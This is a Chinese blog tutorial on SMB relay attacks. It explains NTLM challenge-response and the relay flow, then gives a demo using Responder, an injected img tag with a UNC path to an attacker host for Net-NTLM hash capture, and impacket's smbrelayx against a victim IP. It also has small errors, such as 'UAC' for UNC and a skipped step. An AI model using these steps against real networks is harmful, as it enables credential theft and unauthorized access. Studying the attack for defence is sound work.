【域渗透】Smb Relay

一.NTLM hash 和 Net-NTLM hash

1.客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前保存登录用户名和对应的密码 hash

2.服务器接收到请求后,生成一个 16 位的随机数 (被称为 Challenge也就是挑战码), 使用存储的登录用户密码 hash 加密 Challenge,获得 Challenge1,将challenge发送给客户端

3.客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,获得 Challenge2(这个结果被称为 response),将 response 发送给服务器

 

4.服务器接收客户端加密后的 response,比较 Challenge1 和 response,如果相同,验证成功

 

PS:在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法,所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash

二.SMB中继流程

 

1,client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者

 

2,然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge

 

3,攻击者拿到这个challenge以后再把它返回给client端

 

4,而client端拿到challenge在本地和自己的password 加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端

 

5,最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证

 

7,server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了
 
三.攻击演示
 
PS:
1.受害者不能开启 smb 签名
2.打了ms08-068[KB957097]补丁
 
攻击机:192.168.127.134
 
受害机:192.168.127.128
 
第三方:192.168.127.131
 
方法一、使用responder -I eth0(网卡名称)
responder :Kali自带
或自行安装:git clone https://github.com/SpiderLabs/Responder.git
 
PS:此方法只有IE有用
向目标插入UAC路径:<img src="\\192.168.1.1\xxx.jpg"> 地址内网任意内活主机就可以获取到net-ntml hash 可以使用hashcat进行破解
 
方法二、安装impacket套件

apt-get --reinstall install python-pyasn1 python-pyasn1-modules

 

git clone https://github.com/CoreSecurity/impacket.git
chmod -R 755 impacket
cd impacket/
python setup.py install
cd examples/
python smbrelayx.py -h 受害机IP

 
攻击机上可以看到,当有人net use连接攻击机上时,攻击者就回捕捉到了smb 的登录凭证hash,然后拿着这个hash到受害机尝试登录进行重放攻击
 
 
 
参考链接:
https://www.freebuf.com/articles/system/176206.html
https://klionsec.github.io/2016/07/20/smb-replay-attack/
https://zhuanlan.zhihu.com/p/64889695
https://www.jianshu.com/u/3067117bd792
posted @ 2019-07-31 15:03  aoaoaoao  阅读(1192)  评论(0编辑  收藏  举报